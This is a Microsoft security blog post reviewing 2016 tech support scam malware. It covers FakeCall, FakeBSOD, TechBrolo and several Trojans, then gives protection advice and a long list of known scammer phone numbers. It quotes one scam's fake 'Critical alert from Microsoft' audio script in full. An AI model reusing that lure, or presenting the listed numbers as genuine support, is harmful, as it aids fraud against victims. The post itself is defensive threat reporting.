(Note: This blog post is the third in the 2016 threat landscape review series. It follows the review of exploit kits and ransomware. The series looks at how major areas in the threat landscape transformed over the past year. For the latest info on tech support scams, go to our tech support scams FAQ page.)

The evolution of technical support scam malware

Technical support scams are built on the deception that your computer is somehow broken, and you need to contact technical support to fix it. You may then be asked to pay for support. In some cases, the tech support agent may ask you to install other software or malware disguised as support tools on your computer, bringing in more threats that can cause even more damage.

You may come across these threats while browsing dubious websites, most notably those that host illegal copies of media and software, crack applications, or malware. Links or ads on these sites may lead you to tech support scam websites, which display pages that are designed to look like error messages and serve pop-up messages indicating fictitious errors. Some tech support scam threats take the form of executable programs like other malware.

Although tech support scams have been around for many years, in 2016 we saw the threat evolve by  integrating more scare tactics. At the beginning of the year, the landscape was dominated by threat families with simple techniques and social engineering lures. However, more evolved threat families have since taken over.

tech-support-scam-malware-families

Figure 2. Top support scam families based on encounters in 2016

FakeCall and FakeBSOD: The early types that used one pop-up window and simple messages

Tech support scams are known for their use of pop-up windows to advance their pretense. While most of the scams today abuse pop-up windows to the point of locking the browser, the earlier types relied on just pop-up windows and effective social engineering lures.

FakeCall is a family of malicious scripts hosted in tech support scam sites. It may use messages about virus infection or suspicious activities on your computer. The first sign you have been led to a FakeCall tech support scam site is a pop-up message that tries to create an impression that it’s a system pop-up and usually describes a fake problem and contains instruction to contact fake technical support.

tech-support-scam-fakecall-pop-up

Figure 3. A sample pop-up message from FakeCall

If you click OK, the website loads a page giving more details about the supposed problem, and more instructions to call the technical support number. It may spoof security products and list malware that have purportedly been found on your computer. The goal is to convince you to call the support number.

tech-support-scam-fakecall-webpage

Figure 4. Sample FakeCall support scam website, which asks potential victims to call 855-400-3930

On the other hand, FakeBSOD is a very similar threat but instead pretends to be a system error, like Blue Screen of Death (BSOD), where it got its name.

tech-support-scam-fakebsod

Figure 5. Sample FakeBSOD site that pretends to look like system errors, such as BSOD, and asks to call 1-844-330-7888

FakeBSOD sites usually force the browser to go on full-screen mode to simulate the BSOD experience. Just like FakeCall, it also has a pop-up message detailing the fake problem and a number to call fake technical support.

Both FakeCall and FakeBSOD heavily rely on social engineering lures to get you to take action, and don’t have much in terms of technical complexity. Simply closing the browser will work in most cases.

TechBrolo: Support scam malware on steroids

TechBrolo takes on characteristics of both FakeCall and FakeBSOD, but integrates technical enhancements that not only makes the pretense more believable but can also adversely affect your overall computing experience.

For instance, TechBrolo employs the dialogue loop technique. When you visit the TechBrolo site, you get a pop-up message that won’t go away, no matter how many times you click OK. This method effectively locks your browser; you must manually terminate the process via Task Manager in order to close your browser.

tech-support-scam-techbrolo-1

Figure 6. Sample TechBrolo site with dialogue loop and fake support number 1-866-219-0211

Most variants of TechBrolo also play an audio describing the problem, adding a sense of urgency. For example, one recent variant mimics Windows Defender Antivirus, and when the website loads, it plays an audio with the following message:

“Critical alert from Microsoft. Your computer has alerted us that it is infected with a virus and spyware. This virus is sending your credit card details, Facebook login, and personal emails to hackers remotely. Please call us immediately at the toll-free number listed, so that our support engineers can walk you through the removal process over the phone. If you close this page before calling us, we will be forced to disable your computer to prevent further damage to our network. Error #268D3.”  It is important to note that Windows Defender Antivirus does not act this way.

tech-support-scam-techbrolo

Figure 7. Sample TechBrolo site that spoofs Windows Defender Antivirus, plays an audio message, and uses fake support number 07-5405-9588

Recently, we also spotted a TechBrolo variant that uses website elements to spoof the Microsoft support site and fake the pop-up dialogue box. It does this by loading a page that looks like a browser and then going to full screen. If you are not too paying attention, you might think Microsoft is giving you a warning. Microsoft does not deliver warning messages like this via the browser.

tech-support-scam-escape-from-fullscreen-1

Figure 8. One TechBrolo site uses website elements to achieve a browser in a browser effect and asks target victims to call 1-844-313-7003

Non-English support scam websites

Consistent with our findings that some of the countries most affected by tech support scam are non-English speaking countries (see Figure 1), we have seen some localized tech support scam malware.

These sites employ a combination of the techniques discussed in this blog, only presented in non-English websites, images, or pop-up messages.

tech-support-scam-french

Figure 9. French tech support scam website that uses fake support number 01-86-26-42-66

tech-support-scam-spanish

Figure 10. Spanish tech support scam website that uses fake support number 900-839-260

tech-support-scam-german

Figure 11. German tech support scam website that uses fake support number 0-800-183-8114

tech-support-scam-techbrolo-japanese

Figure 12. Japanese tech support scam website that uses fake support number 03-4578-9419

Cusax, Hicurdismos, and Monitnev: Support scam Trojans

Apart from scripts hosted on websites, we have also seen tech support scam malware in the form of executable files. They may be installed on your computer by other malware or downloaded from drive-by sites.

These malware have the same goal as their script counterparts: to get you to call the technical support number. However, the difference is that their malicious behaviors are not limited to the browser.

For instance, Cusax is a tech support scam malware that makes system changes, including registry modifications that ensure it runs every time your computer starts. It then forces a reboot, further reinforcing the scam that there is a problem with your computer.

As soon as your computer boots, it opens a window that asks for your Windows activation key as well as the technical support number.

tech-support-scam-cusax

Figure 13. Cusax uses the lure that you need to enter your activation key and asks to call the number 1-877-256-3313

Hicurdismos, on the other hand, displays an image that looks like the BSOD. However, this fake BSOD screen has instructions to call a technical support number, something that the real error doesn’t have.

In order to further its pretense, Hicurdismos hides the mouse cursor, disables Task Manager, and makes sure the fake BSOD image occupies the entire screen and is always on top of other windows.

tech-support-scam-hicurdismos

Figure 14. The fake BSOD screen displayed by Hicurdismos contains the number 1-800-418-4202

More recently, Monitnev was discovered to monitor event logs. It then displays fake error notifications every time an application crashes. This can appear more convincing because the pop-up messages are timed with legitimate computing behavior.

Cusax, Hicurdismos, Monitnev and other tech support scam malware can be more complex than scripts. Because they make system changes, they can inflict more damage and can be trickier to remove. However, we’re seeing significantly fewer of these types of tech support scam threats because they are more difficult to distribute than their script counterparts. Despite that, they pose threats that you need protection from.

Protection against tech support scams

Tech support scams take different forms and are known to take on more characteristics over time. Get the protection against the latest tech support scams by upgrading to Windows 10. The Windows 10 Creators Update brings in additional security features and will start rolling out on April 11, 2017. Keeping your computers up-to-date gives you the benefits of the latest features and proactive mitigation from Microsoft.

A majority of these threats, like TechBrolo, FakeCall, and FakeBSOD, are scripts hosted on websites where you are led to by malicious ads on dubious sites. To avoid tech support scam websites, use Microsoft Edge. Enable Windows Defender SmartScreen (also used by Internet Explorer) to block known malicious websites, such as tech support scam websites.

tech-support-scam-microsoft-edge-blocked-twitter

Figure 15. Microsoft Smart Screen blocks techs support scam websites

In addition, Microsoft Edge provides a way to close dialogue loops, which are used by support scam sites to keep on delivering pop-ups even after you close them. At the bottom of pop-up dialogue messages, you have an option to tick the checkbox Don’t let this page create more messages, which will stop the recurring messages.

tech-support-scammicrosoft-edge-protection-against-dialogue-loops

Figure 16. Dialogue loop protection for Microsoft Edge

Enable Windows Defender Antivirus to remove tech support scam Trojans, such as Cusax and Hicurdismos. Windows Defender AV uses cloud-based protection, which helps make sure you are protected from the latest threats.

Tech support scams employ varying social engineering techniques to get you to call the support hotline. Do not call the number in pop-up messages. Microsoft’s error and warning messages never include a phone number.

Some scammers can also contact you directly and claim to be from Microsoft. Remember, Microsoft will never proactively reach out to you to provide unsolicited PC or technical support. Any communication we have with you must be initiated by you. Reach out directly to one of our technical support experts at the Microsoft Answer Desk.

For more information on techs support scams, go to our tech support scams FAQ page.

 

Jonathan San Jose, Alden Pornasdoro, Francis Tan Seng
Microsoft Malware Protection Center

 

Related blog entries

 

Other details

We have seen the following tech support numbers used by scammers. Don't call or accept calls from these numbers.

For an updated list of tech support scam hotlines, go to our tech support scams FAQ page.

(0)2070220828 (02)61891708 (02)80164703 (02)80164716 (02)80164756 (02)80172671
(02)80172685 (02)85994345 (03)43092501 (03)57243978 (03)85666148 (03)85927365
(03)86575022 (03)86575029 (03)86575037 (03)86575058 (03)86575059 (03)86575060
(03)86575067 (03)86575087 (03)86575132 (03)86575174 (03)86575185 (03)86575189
(03)86575197 (03)86575202 (03)86575207 (03)86575212 (03)86575219 (03)86575220
(03)86575227 (03)86575233 (03)86575236 (03)86575244 (03)86575246 (03)86575250
(03)86575251 (03)86575252 (03)86575253 (03)86575254 (03)86575259 (03)86575266
(03)86575274 (03)86575279 (03)86575282 (03)8657-5321 (03)86575462 (03)86575481
(03)86575485 (03)86578564 (030)30807257 (040)87407257 (040)87408505 (050)-5865-3083
(06)-9480-0946 (07)30538387 (07)30627228 (07)30627243 (07)3062-7243 (07)31063353
(07)31886052 (07)42299559 (07)55515928 (07)55596520 (08)62440898 (08)62441208
(08)62441245 (08)79137259 (08)79137276 (08)79137290 (08)81204457 (08)81666920
(08)81666934 (08)81666937 (08)81666955 (1-833-870-9055 (20)888-6480 (2845385
(32)25888838 (43)215-5911 (45)89874331 (46)844686279 (646)1234567 (65)31638569
(800)-257-6159 (800)795-3272 (844)200-3946 (844)393-0450 (844)393-0484 (844)393-0486
(844)393-0493 (844)-431-5897 (844)441-3440 (844)676-8550 (844)-760-4122 (844)793-5916
(844)793-5936 (855)-205-9531 (855)209-6074 (855)-225-7708 (855)231-0539 (855)-239-2183
(855)-241-3845 (855)241-4667 (855)-266-4554 (855)266-4741 (855)294-1712 (855)294-1825
(855)-297-7165 (855)-355-5293 (855)-356-7202 (855)-369-2906 (855)405-7100 (855)445-9027
(855)-447-0411 (855)-533-5796 (855)622-1162 (855)624-0140 (855)624-0227 (855)624-7391
(855)625-1554 (855)625-1567 (855)656-6786 (855)-739-7820 (855)-740-4839 (866)201-6980
(866)203-9002 (866)245-3153 (866)246-4756 (866)-258-1972 (866)-260-0177 (866)-273-6495
(866)281-2116 (866)-285-2709 (866)-291-8355 (866)-298-7189 (866)304-3926 (866)307-4818
(866)-309-5567 (866)332-5687 (866)-338-7789 (866)-368-2412 (866)-383-9914 (866)-383-9915
(866)402-1473 (866)412-0891 (866)423-0059 (866)423-0063 (866)424-8189 (866)-424-8267
(866)-428-8273 (866)-446-2164 (866)-461-1815 (866)-465-8228 (866)-472-8834 (866)475-9024
(866)-491-1840 (866)528-4708 (866)-537-8476 (866)-537-8543 (866)564-0080 (866)-564-0233
(866)-664-7153 (866)664-7178 (866)-671-2859 (866)-671-2872 (866)-745-9470 (866)-745-9526
(866)-811-5991 (866)811-6155 (866)-847-7752 (866)-847-7753 (866)-853-5456 (866)-853-5502
(866)-877-9859 (877)205-4993 (877)217-6241 (877)-236-1653 (877)-245-8680 (877)249-0473
(877)265-0722 (877)-390-9713 (877)-393-8186 (877)394-4325 (877)-394-4493 (877)410-1782
(877)-433-3057 (877)-507-9671 (877)582-0878 (877)855-3653 (877)855-3656 (877)856-4874
(877)870-1153 (877)932-2471 (888)206-1755 (888)215-8523 (888)248-8302 (888)-308-4985
(888)-319-2624 (888)-453-1072 (888)503-2516 (888)503-3820 (888)623-3295 (888)660-1761
(888)694-2168 (888)694-2197 (888)810-5341 (888)811-4180 (888)829-5571 (888)829-5736
(888)858-8437 (888)992-3346 001-800-337-6075 001-800-741-0438 001-844-416-0999 001-844-416-3555
001-844-441-4490 001-855-220-5679 001-855-371-9444 001-855-382-4333 001-888-549-8666 001-888-578-9666
01-013-894-74 010-8080688 010-8080698 01-088-482-93 01-513-6657 01-586-613-14
0-161-660-4291 0-161-660-8204 01-617918571 01-70-71-29-83 01-70-71-29-85 01-70-72-08-31
01-70-75-40-58 01-76-34-05-40 01-76-34-05-42 01-76-34-05-43 01-76-34-05-47 01-76-34-05-48
0176-350-282 01-76-35-02-82 0-176-350-282 01-76-35-02-86 01-76-39-05-48 01-76-42-02-52
01-76-44-03-79 01-76-54-26-50 01-76-54-26-55 01-76-54-27-02 01-76-54-27-37 01-76-75-32-49
01-78-42-94-73 01-82-88-82-58 01-82-88-82-68 01-82-88-82-69 01-82-88-82-88 01-82-88-83-09
0-182-888-313 01-82-88-83-23 01-82-88-83-28 01-82-88-83-50 01-82-88-83-55 01-82-88-83-64
01-82-88-84-33 01-82-88-85-17 01-82-88-89-29 01-82-88-89-30 01-84-88-46-81 01-84-88-70-53
01-86-26-01-80 01-86-26-22-91 01-86-26-42-69 01-86-26-47-64 01-86-26-47-68 01-86-26-51-73
01-86-26-51-85 01-86-26-52-13 0186266214 0186266232 0186650003 0186650010
01-86-65-01-04 01-86-65-01-12 01-86-65-01-25 01-86-65-19-63 01-90-38-86-6 0-199-346-0018
020-3514-9444 0-203-868-2233 0208-068-3410 0208-133-6658 02-8017-2666 02-831-09124
02-83176354 030-30807257 032-221095548 03-4578-9419 0345795825 0345-795-825
0345798390 0345-798-390 03-4580-9710 03-4589-4823 03-4589-4826 03-4590-2887
03-4590-2890 03-52929333 0383758532 03-86575028 03-86575082 03-86575137
03-86575205 03-86575225 03-86575233 03-86575236 03-86575244 03-86575255
03-86575259 03-86575441 03-86575492 0-408-740-8503 0-408-740-9127 050-5865-3083
06-9480-0911 0694808661 0694-808-661 0694808798 0694-808-798 07-30677862
07-55515928 076-888-8369 076-888-8645 0-800-014-8165 0-800-046-5034 0-800-046-5059
0-800-046-5067 0-800-046-5088 0-800-046-5208 0-800-046-5230 0-800-046-5240 0-800-046-5266
0-800-046-5275 0-800-046-5705 0-800-046-5727 0800-086-9887 0800-086-9891 0800-086-9895
0800-086-9897 0800-086-9957 0-800-086-9957 0800-086-9967 0-800-088-5368 0-800-090-3247
0-800-090-3813 0-800-090-3815 0-800-090-3834 0-800-090-3869 0-800-090-3876 0-800-090-3931
0-800-090-3961 0-800-098-8427 0-800-133-7582 0-800-181-2377 0800-183-8200 0-800-189-0355
0800-368-8157 0-800-368-8920 0-800-723-4924 0-800-724-3871 0800904638 0-800-910-990
0800919811 0800-919-811 0-800-919-811 08-05-08-66-15 0-808-164-4743 085-208-4376
085-208-5236 085-208-5308 08-62440898 08-81666928 08-81666971 08-93742253
09-424-112-54 0970736361 09-74-59-53-39 09-75-18-92-61 09-887-9731 11480248
1300417412 1-300-596-394 1-300-596-397 1-300-596-398 1-562-926-5672 1-646-751-8006
176391769 18002013517 1-800-201-3517 1-800-208-4060 1-800-208-4060- 1-800-218-8813
1-800-219-713 1-800-230-6593 1-800234567 1-800-239-102 1-800-253-8598 1-800-265-80
1-800-278-4266 1-800-281-6897 1-800-281-97 1-800-284-7304 1-800-285-1641 1-800-285-6111
1-800-290-6829 1-800-291-4481 1-800-291-7514 1-800-292-1174 1-800-297-6859 1-800-309-1126
1-800-309-1126- 1-800-311-5914 18003161942 1-800-316-1942 1-800-318-4284 1-800-351-8467
1-800-353-2506 1-800-363-5019 1-800-380-1734 1-800-381-2059 1-800-381-9788 1-800-431-255
1-800-431-357 1800-431-362 1-800-431-362 1-800-431-367 1-800-431-368 1-800-431-377
1-800-431-395 1-800-431-453 1-800-431-492 1-800-445-2620 1-800-446-1359 1-800-446-9531
1-800-469-1480 1-800-558-9204 1-800-569-0786 1-800-573-3082 1-800-586-7035 1800-590-5371
1-800-617-3364 1-800-625-1264 1-800-625-1446 1-800-627-1612 1-800-634-1162 1-800-646-0717
1-800-651-1445 1-800-651-5036 1-800-658-2836 1-800-658-8214 1-800-678-9143 1800-681-591
1-800-683-9049 1-800-683-9841 1-800-696-4076 1-800-718-1917 1-800-729-1951 1-800-737-0675
1-800-741-658 1-800-774-1799 1-800-813-1316 1-800-826-5638 1-800-838-2529 1-800-850-6759
1-800-862-3971 1-800-865-9812 1-800-874-935 1-800-876-0491 1-800-876-491 1-800-917-9647
1-800-928-2104 1-800-933-9950 1-800-942-1460 1800-949-31 1-800-952-984 1-800-954-274
1800-954-357 1-800-954-357 18009568510 1800-956-8510 1-800-962-1569 1-800-969-507
1-800-983-145 1-800-986-9304 1-805-203-8843 1-806-414-1834 1-810-292-797 1-814-753-1577
1817-237-9401 1-818-358-8718 182886068 182886069 182888275 1-833-335-1333
1-833-414-5500 1833-414-6600 1-833-414-6600 1-833-414-8800 1-833-432-7770 1-833-661-1933
1-833-677-5449 1-833-698-8563 1-833-776-8324 1-833-783-7700 1833-990-7999 1-844-200-159
1-844-200-2861 1-844-200-4074 1-844-210-6004 1-844-212-8344 18442155229 1-844-215-5229
1-844-216-3222 1-844-219-9266 1-844-238-9924 1-844-239-5999 1-844-241-7912 1-844-246-0222
1-844-252-6111 1-844-255-7017 1-844-258-4222 1-844-260-7876 1-844-261-8596 1-844-264-6777
1-844-265-1895 1-844-266-6763 1-844-284-8333 1-844-284-8623 1-844-287-1056 1-844-292-4928
1-844-307-1823 1-844-307-3666 1-844-307-3760 1-844-311-9589 1-844-312-7438 1-844-313-2246
1-844-313-6006 1-844-313-6996 1-844-313-7003 1-844-313-9169 1-844-313-9175 1-844-314-758
18443189400 1-844-318-9400 1-844-324-2398 1-844-324-6235 18443263137 1-844-326-3137
1-844-328-3777 1-844-347-5040 1-844-347-8024 1-844-350-4289 1-844-352-9401 1-844-363-5005
1-844-364-3797 1-844-370-2707 1-844-372-887 1-844-378-6888 1-844-378-9888 1-844-386-1464
1-844-392-7021 1-844-399-9041 1-844-410-800 1-844-410-804 1-844-410-806 1-844-416-2777
1844-416-3444 1-844-416-3444 1-844-421-5040 1-844-421-5044 1-844-421-5818 1-844-422-5281
1-844-428-3630 1-844-431-5897 1-844-433-1244 1-844-433-2012 1-844-438-289 1-844-440-1440
1-844-441-1440 1-844-441-3440 1-844-442-6444 1-844-443-9444 1-844-445-0440 1-844-446-245
1-844-448-9577 1-844-450-732 1-844-450-735 1-844-454-7212 1-844-455-5516 1-844-456-2535
1-844-473-5341 1-844-488-0601 1-844-488-601 1-844-488-7669 1-844-489-4777 1-844-489-6111
1-844-505-786 1-844-506-2833 1-844-525-6428 1-844-529-3725 1-844-536-9249 1-844-538-2676
1-844-539-5778 1-844-539-5784 1-844-542-4107 1-844-543-6206 1-844-545-8489 1-844-551-8975
1-844-554-2335 1-844-554-2336 1-844-568-2986 1-844-573-4082 1-844-577-2888 1-844-585-1394
1-844-587-7642 1-844-587-7643 1-844-592-141 1-844-594-0202 1-844-594-202 1-844-598-3874
1-844-599-9699 1-844-608-8791 1-844-609-9925 1-844-610-4969 1-844-612-7496 18446138256
1-844-613-8256 1-844-613-8256- 1-844-616-4636 1-844-621-9192 1-844-622-9881 1-844-631-9229
1-844-634-3273 1-844-646-761 1-844-647-2674 1-844-647-9749 1-844-649-8047 1-844-651-2555
1-844-651-5157 1-844-652-9239 1-844-653-8666 1-844-656-1695 1-844-656-7657 1-844-665-6697
1-844-665-6888 1-844-665-7222 1-844-666-6856 1-844-670-2132 1-844-671-9133 1-844-672-9621
1-844-675-2565 1-844-675-8730 1-844-678-7861 1-844-692-3232 1-844-694-2302 1-844-699-8351
1-844-700-139 1-844-703-1130 1-844-719-6112 1-844-719-6135 1-844-724-6592 1-844-726-5418
1-844-733-5424 1-844-734-4622 1-844-739-2013 1-844-741-8241 1-844-743-6449 1-844-744-6889
1-844-750-6258 1-844-758-4880 1-844-758-6851 1-844-758-6854 1-844-761-8172 1-844-767-8232
1-844-772-2439 1-844-774-8432 1-844-775-6410 1-844-778-9178 1-844-778-9179 1-844-778-9180
1-844-778-9182 1-844-779-3057 1-844-779-444 1-844-779-7006 1844-781-9888 1-844-781-9888
1-844-786-8920 1-844-788-4217 1-844-789-1031 1-844-791-1072 1-844-791-1319 1-844-792-2887
1-844-792-2898 1-844-793-5488 18447935916 1-844-795-9598 1-844-798-3802 1-844-800-2016
1-844-800-3651 1-844-800-6834 1-844-804-2259 1-844-805-0111 1-844-806-4353 1-844-807-3444
1844-807-8358 1-844-807-8358 1-844-807-8535 1-844-810-2392 1-844-810-6590 1-844-811-1823
1-844-816-231 1-844-816-232 1-844-819-6285 1-844-820-4849 1-844-822-8676 1-844-828-9509
1-844-829-3685 1-844-829-5569 1-844-830-777 1-844-831-5994 1-844-831-6839 1-844-831-6841
1-844-832-860 1-844-835-5063 1-844-843-5125 1-844-850-3475 1-844-850-7794 1-844-850-8524
1-844-851-4685 1-844-854-1116 18448559343 1-844-855-9343 1-844-858-5267 1-844-858-5647
1-844-861-7753 1-844-861-7768 1-844-862-6657 1-844-862-6662 1-844-866-1208 1-844-867-2500
1-844-869-7593 1-844-869-8466 1-844-870-4511 1-844-871-6370 1-844-872-1286 1-844-872-1555
1-844-872-1666 1-844-873-1596 1-844-874-3456 18448746222 1-844-874-6222 1-844-877-9492
1-844-879-8755 1-844-879-8755- 1-844-880-8540 1-844-882-1972 1-844-882-29 1-844-883-9715
1-844-885-1444 1-844-888-6250 1-844-890-6983 1-844-890-8837 1-844-890-8967 1-844-891-1033
1-844-891-4883 1-844-894-8333 1-844-895-3281 1-844-895-393 1-844-898-7540 1-844-991-447
1-845-233-6465 1-845-237-5335 1-845-237-5345 1-855-200-6789 18552033941 1-855-203-6745
1-855-205-3429 18552054077 18552054170 1-855-221-8666 1-855-231-9571 1-855-235-0666
1-855-236-8489 1-855-238-777 1-855-245-888 1-855-246-8689 1-855-256-4555 1-855-269-5777
1-855-287-5222 1-855-297-8444 1-855-297-9777 1-855-307-6690 1-855-325-1775 1-855-341-3936
1-855-351-1669 1-855-372-2604 1-855-372-4111 1-855-389-4333 1-855-391-2888 1-855-407-4888
1-855-411-7333 1-855-428-2297 1-855-441-0222 1-855-441-7442 1-855-442-4430 1-855-483-6922
1-855-511-8200 1-855-534-8622 1-855-550-3155 1-855-558-6111 1-855-581-6200 18556221162
1-855-622-7910 1-855-633-1666 1-855-634-7222 1855-640-666 1-855-640-666 1-855-654-999
1-855-676-6410 1-855-687-3444 1-855-687-8444 1-855-689-8237 1-855-697-5333 1-855-718-9786
1-855-722-6773 1-855-762-5222 1-855-786-3898 1-855-844-199 1-855-844-8599 1-855-861-9885
1-855-883-8484 1-855-937-4376 1-855-955-2511 1-858-251-4120 186266214 186266232
186269998 1-866-202-1086 1-866-205-9205 1-866-207-1988 1-866-212-2077 1-866-213-4608
1-866-214-5075 1-866-214-8746 1-866-215-3122 1-866-216-9450 1-866-216-9557 1-866-217-1114
1-866-217-246 1-866-217-5161 1-866-217-5708 1-866-217-8834 1-866-217-8835 1-866-217-9773
1-866-218-1569 1-866-218-1647 1-866-218-1667 1-866-218-3879 1-866-245-4827 1-866-249-7329
1-866-278-2125 1-866-279-9569 1-866-281-2116 1-866-296-7071 1-866-312-4799 1-866-314-6015
1-866-315-1620 1-866-333-3971 1-866-338-7786 1-866-339-1004 1-866-343-8297 1-866-383-114
1-866-389-1479 1-866-417-3002 1-866-421-0579 1-866-439-4500 1-866-439-4500- 1-866-446-1341
1-866-450-3079 186650003 186650010 1-866-511-7592 1-866-511-7594 1-866-590-8715
1-866-610-9888 1-866-639-8853 1-866-683-3337 1-866-686-7495 1866-686-7503 1-866-752-3090
1-866-835-5589 1866-844-2548 1-866-847-7743 1866-847-7788 1-866-869-9348 1-866-888-1059
18669954293 1870-513-108 18772012439 1-877-201-2439 1-877-207-1564 1-877-211-8858
18772124133 1-877-217-6313 1-877-218-3919 1-877-219-1029 1-877-219-1968 1-877-219-1996
1-877-219-5017 1-877-219-5044 1-877-219-5060 1-877-219-5956 1-877-219-5966 1-877-219-6702
1-877-219-6703 1-877-219-7404 1-877-219-8737 1-877-219-9667 1-877-220-2054 1-877-220-3180
1-877-220-4850 1-877-220-4860 1-877-220-5017 1-877-220-5769 1-877-220-6582 1-877-220-7397
1-877-220-8475 1-877-220-8628 1-877-220-8783 1-877-220-9321 1-877-221-1366 18772212910
1-877-221-313 1-877-221-8289 1-877-222-860 1-877-223-4585 18772234815 18772236199
1877-224-244 1-877-224-244 1-877-224-2480 1-877-253-8089 1-877-264-2122 1-877-265-5843
1-877-268-9059 1-877-268-9059- 18772948866 1-877-299-5502 1-877-346-1614 1-877-353-1034
1-877-353-1127 1-877-373-8371 1-877-382-9050 1-877-390-1888 1-877-393-8186 1-877-396-6777
1-877-408-7275 1877-420-5230 1-877-457-7705 1-877-474-4311 1-877-524-7180 1-877-546-2439
1-877-577-5766 1-877-626-2710 1-877-640-2516 1-877-640-2517 1-877-691-3469 1-877-694-1843
1-877-734-4250 1-877-750-7842 1-877-757-4876 1-877-796-9406 1-8777986486 1-877-798-6486
18777990627 1-877-799-5430 1-877-818-5969 1-877-824-9312 1-877-834-0372 1-877-834-372
1-877-836-562 1-877-837-9791 1-877-861-3759 1-877-863-4795 1-877-870-1310 1-877-888-7470
1-877-939-3009 1-877-960-2359 1-88-450-3444 18882028995 1-888-202-8995 18882047932
1-888-204-7932 1-888-205-4163 1-888-205-4245 1-888-205-9890 18882061755 1-888-206-1755
18882093323 1-888-209-4422 1-888-209-7111 1-888-209-7130 18882109250 1-888-210-9250
1-888-210-9302 18882158523 1-888-215-9422 18882193660 1-888-220-8498 1-888-221-0726
1-888-221-2920 1-888-223-7642 1-888-223-8246 18882248590 1-888-225-1287 1-888-225-782
18882261173 1-888-226-1173 1-888-226-1622 1-888-228-0084 1-888-228-4154 1-888-228-84
1-888-228-9998 1-888-229-163 1-888-231-1966 1-888-232-1654 1-888-232-2902 1-888-234-3690
1-888-237-9815 1-888-241-3676 1-888-241-4151 1-888-243-9401 1-888-244-6132 1-888-248-1613
1-888-248-8815 1-888-255-7636 1-888-259-3417 1-888-260-4243 1-888-261-5610 1-888-262-8816
1-888-267-7999 1-888-268-516 1-888-286-5822 1-888-287-0989 1-888-287-989 1-888-301-5539
1-888-304-2555 1-888-308-3996 1-888-308-4585 18883084902 18883084903 18883084972
1-888-308-4972 1-888-308-4985 1-888-308-5073 18883085694 18883086064 1-888-308-7980
18883088671 1-888-309-5186 1-888-309-5755# 1-888-309-7042 1-888-309-9976 18883100334
18883100770 1-8883102449 1-888-310-2449 1-888-310-5669 1-888-310-6956 1-888-310-7012
18883107656 1-888-316-8777 1-888-325-1924 1-888-331-3064 1-888-334-0666 1-888-334-666
1-888-335-7633 1-888-339-0777 1-888-351-9666 1-888-356-2829 1-888-360-4508 1-888-369-2088
1-888-384-3226 1-888-393-6249 1-888-395-5996 1-888-400-4146 1-888-412-7333 1-888-416-286
1-888-420-3996 1-888-431-1942 1-888-440-3005 1-888-441-1595 1-888-442-5830 1-888-443-7281
1-888-444-325 1-888-454-7025 1-888-456-7170 1888-466-6433 1-888-466-6433 1-888-467-5568
1-888-470-2751 1-888-483-9444 1-888-484-4930 1-888-486-4142 1-888-495-8037 1-888-496-666
1-888-501-0222 1-888-505-6572 1-888-509-5592 1-888-511-1228 1-888-512-1929 1-888-514-5106
1-888-514-5126 1-888-515-1777 1-888-516-0490 1-888-516-2007 1-888-516-490 1-888-521-0529
1-888-526-7488 1-888-530-7555 1-888-540-4666 1-888-545-9220 1-888-547-3398 1-88-8547-3398
1-888-549-8666 1-888-554-6480 1-888-556-1222 1-888-559-4076 1-888-560-8943 1-888-565-3185
1-888-569-1655 1-888-569-3541 1-888-570-3651 1-888-571-6880 1-888-578-9666 1-888-586-8499
1-888-589-7758 1-888-593-0106 1-888-593-106 1-888-598-7976 18886070666 1-888-607-4665
1-888-608-2594 1-888-616-1599 1-888-616-9444 1-888-621-0834 1-888-621-834 1-888-623-3372
1-888-635-6193 1-888-639-5599 1-888-640-8577 1-888-651-5889 1-888-652-1304 1-888-655-7353
1-888-658-685 1-888-684-6373 1-888-691-4986 1-888-694-2184 1-888-709-5999 1-888-724-3052
1-888-728-9143 1-888-751-4964 1-888-807-2627 1-888-814-3477 1-888-818-2853 1-888-834-5606
1-888-839-9985 1-888-844-85 1-888-850-8578 1-888-855-6855 1-888-858-8356 1-888-869-4393
1-888-881-9364 1-888-883-9798 1-888-884-4139 1-888-884-6349 1-888-885-1701 1-888-885-8695
1-888-887-8691 1-888-890-8148 1-888-917-5333 1888-944-6229 1-888-944-6229 1-888-995-1799
20090123 20160303 2080683410 2080687448 23965524 310-651-8138
31-115788120 31-852086013 32-13-48-2-69 3215480175 32-25888838 32-25-88-97-4
32-2-80-80-679 32-2-808-2080 32-2-80-82-114 3228083298 32-2-80-83-354 3228084953
32-28084953 32-2-808-5711 32-28-8-49-32 32-28-8-50-30 32-38081711 3238084406
3238084491 32-38-8-44-8 32-71-96-26-1 3284480189 32-84480189 3284480200
32-89-68-3-11 32-92-98-10-28 33176363169 33-176542655 33176542702 33-176542702
33-176542705 33-176542737 33-178-429-476 33-182-888-269 33-182-888-283 33-182-888-290
33-182-888-433 33-18-28-88-433 3-318-626-5216 33-186-265-248 33186269672 33-186269672
33186269674 33-186650032 33186650127 33186650134 33-805-81-95 33-9-70-73-54-08
33-9-70-73-60-84 33-970-736-245 33970736256 33970736257 33-970736257 33970736272
33-970736272 33970736288 33970736321 33970736336 33-9-75-18-16-00 33-975182324
33-9-75-18-23-26 33-975-183-167 34-518-88-93-96 34-518-88-94-0 34-518-889-407 345400907
345793757 345795825 345798383 345798390 34-857-88-1-41 34-857-88-1-48
34-857-88-1-49 34900868 34918299733 34-921-88-0-17 34-9-32-20-02-11 34-932-20-2-11
34-932-20-2-7 34-932-20-35-0 34-951-24-2193 34-954-5-1-35 358-753251124 383758531
383758532 390409720840 400092598858 400093694953 400093887737 400094295903
400094878629 406688973 41-21-508-70-87 41325800376 41-41-508-70-76 41-43-508-74-83
41435089246 41-43-508-92-46 41-44-505-14-7 41565880362 41565880413 41-56-588-04-13
41-61-588-8-67 41-61-588-8-94 42990 42991 42992 44-131-507-344
44-147-337-8276 441630740007 44-180-845-1 442031293867 44-20-3868-4870 44-20-3868-4904
44-20-3868-4930 44-20-8068-3165 44-8000-465-220 44-8000-465-53 44-800-090-3274 44-800-090-3820
44-800-098-8395 44-800-46-5036 44-800-46-5085 44-800-465-229 44-800-46-5706 44-800-689-1673
44-800-689-753 44-800-86-9374 44-800-88-5062 448081648928 44-808-189-764 44-870-820-510
45-78746859 45-89871945 45-89-87-42-23 45-89-87-42-24 45-89874331 459438276035
46-1-88-855-68 46-7-669-200-92 46-8-446-820-31 47-23965406 47-800-24-963 47-800-24-964
49-800-723-6206 50580177 55-4170-8902 61-1800-431-245 61-1800-431-255 61-1800-431-259
61-1800-431-369 61-1800-431-377 61-1800431422 61-1800-431-422 61-1800-431-437 61-1800-431-439
